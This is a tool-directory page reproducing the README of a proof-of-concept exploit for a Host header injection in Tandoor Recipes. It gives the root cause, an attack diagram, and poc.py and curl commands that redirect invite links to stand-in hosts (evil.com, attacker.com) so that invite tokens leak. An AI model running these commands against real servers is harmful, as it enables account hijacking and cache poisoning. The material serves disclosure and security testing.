Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-33149-PoC — Proof-of-concept exploit for CVE-2026-33149, a Host header injection in Tandoor Recipes that enables invite link poisoning and cache poisoning. Includes modules for host acceptance, pagination, schema, and invite poisoning. | Kitploit
Tools/GitHubGitHub/filipegaudard/cve-2026-33149-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPhishingWeb SecurityPenetration Testing
GitHubfilipegaudard/cve-2026-33149-poc

CVE-2026-33149-PoC

Proof-of-concept exploit for CVE-2026-33149, a Host header injection in Tandoor Recipes that enables invite link poisoning and cache poisoning. Includes modules for host acceptance, pagination, schema, and invite poisoning.

View Repository
286 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-33149 — Host Header Injection in Tandoor Recipes

CVE-2026-33149 GHSA CVSS 8.1 CWE-644

Affected Version Responsible Disclosure


Summary

Tandoor Recipes sets ALLOWED_HOSTS = '*' by default in settings.py, causing Django to accept any value in the HTTP Host header without validation. The application uses request.build_absolute_uri() to generate absolute URLs in multiple security-sensitive contexts. An attacker who can send requests with a crafted Host header can redirect all server-generated URLs to an attacker-controlled domain.

The most critical impact is invite link poisoning: when an admin creates a user invite, the email sent by the server contains a link pointing to the attacker's domain. The victim clicks a legitimate-looking email, the invite token is exfiltrated, and the attacker uses it to hijack the account provisioning flow.

Vulnerability Details

FieldValue
CVE IDCVE-2026-33149
GHSAGHSA-x636-4jx6-xc4w
CWECWE-644 — Improper Neutralization of HTTP Headers for Scripting Syntax
CVSS v3.18.1 HIGH — AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N
Affected VersionTandoor Recipes ≤ 2.5.3
VendorTandoorRecipes/recipes

MITRE ATT&CK Mapping

Technique IDNameRelevance
T1557Adversary-in-the-MiddleManipulating server-generated URLs to redirect traffic
T1566.002Phishing: Spearphishing LinkPoisoned invite email contains attacker-controlled link

Root Cause Analysis

1. Wildcard ALLOWED_HOSTS

File: recipes/settings.py:118

ALLOWED_HOSTS = extract_comma_list('ALLOWED_HOSTS', '*')  # default: wildcard

Django's ALLOWED_HOSTS is a security measure that validates the Host header against a whitelist. The wildcard '*' disables this validation entirely, allowing any arbitrary value.

2. Unsafe URL Generation in Invite Emails

File: cookbook/serializer.py:1852-1853

message += _('Click the following link to activate your account: ') + self.context[
    'request'].build_absolute_uri(
    reverse('view_invite', args=[str(obj.uuid)])
) + '\n\n'

request.build_absolute_uri() constructs URLs using request.get_host(), which returns the raw Host header value when ALLOWED_HOSTS does not restrict it. The invite UUID — a secret token — is embedded in the URL that now points to the attacker.

3. Additional Affected Surfaces

  • API Pagination — DRF pagination classes use build_absolute_uri() for next/previous URLs
  • OpenAPI Schema — Schema generator uses it for server URLs
  • Cache Poisoning — Deployments with caching proxies risk serving poisoned URLs to all users from a single request

Attack Flow

┌──────────┐     ① Crafted Request         ┌─────────────────┐
│ Attacker │ ──────────────────────────────→│  Tandoor Server │
│          │   Host: attacker.com           │  ALLOWED_HOSTS=*│
└──────────┘                                └────────┬────────┘
                                                     │
                                          ② build_absolute_uri()
                                             uses "attacker.com"
                                                     │
                                                     ▼
                                            ┌────────────────┐
                                            │  SMTP Server   │
                                            └────────┬───────┘
                                                     │
                                       ③ Email with poisoned link:
                                       http://attacker.com/invite/<uuid>
                                                     │
                                                     ▼
                                            ┌────────────────┐
                                            │    Victim      │
                                            │  (clicks link) │
                                            └────────┬───────┘
                                                     │
                                          ④ UUID sent to attacker
                                                     │
                                                     ▼
                                            ┌────────────────┐
                                            │   Attacker     │
                                            │ uses UUID at   │
                                            │ real server    │
                                            └────────────────┘

Proof of Concept

Requirements

  • Python 3.8+
  • requests library
pip install requests

Usage

# Run all validation modules with basic auth
python3 poc.py --target http://localhost:8085 \
               --basic-auth admin:password \
               --attacker evil.com \
               --module all

# Run all modules with session cookies
python3 poc.py --target http://target:8085 \
               --session <sessionid> \
               --csrf <csrftoken> \
               --attacker evil.com \
               --module all

# Invite link poisoning only
python3 poc.py --target http://target:8085 \
               --session <sessionid> \
               --csrf <csrftoken> \
               --attacker evil.com \
               --module invite \
               --email [email protected] \
               --group-id 1

Modules

ModuleDescription
host-acceptVerifies that the target accepts arbitrary Host headers (ALLOWED_HOSTS = '*')
paginationConfirms API pagination URLs reflect the injected domain
schemaConfirms OpenAPI schema server URLs reflect the injected domain
inviteCreates a poisoned invite link — the primary attack vector
allRuns all modules sequentially

Manual Verification (curl)

1. Host Header Acceptance

curl -s -o /dev/null -w "%{http_code}" \
  http://TARGET:8085/api/user/ \
  -H "Host: attacker.com" \
  -u "admin:password"
# Expected: 200 (vulnerable) | 400 (patched)

2. Pagination URL Reflection

curl -s "http://TARGET:8085/api/recipe/?page_size=1" \
  -H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
  -H "Host: evil.com" \
  -H "Accept: application/json"
# Expected: {"next": "http://evil.com/api/recipe/?page=2&page_size=1", ...}

3. Schema URL Reflection

curl -s http://TARGET:8085/api/schema/ \
  -H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
  -H "Host: evil.com" | grep -o "http://[^ \"]*" | head -3
# Expected: http://evil.com/...
Download Tool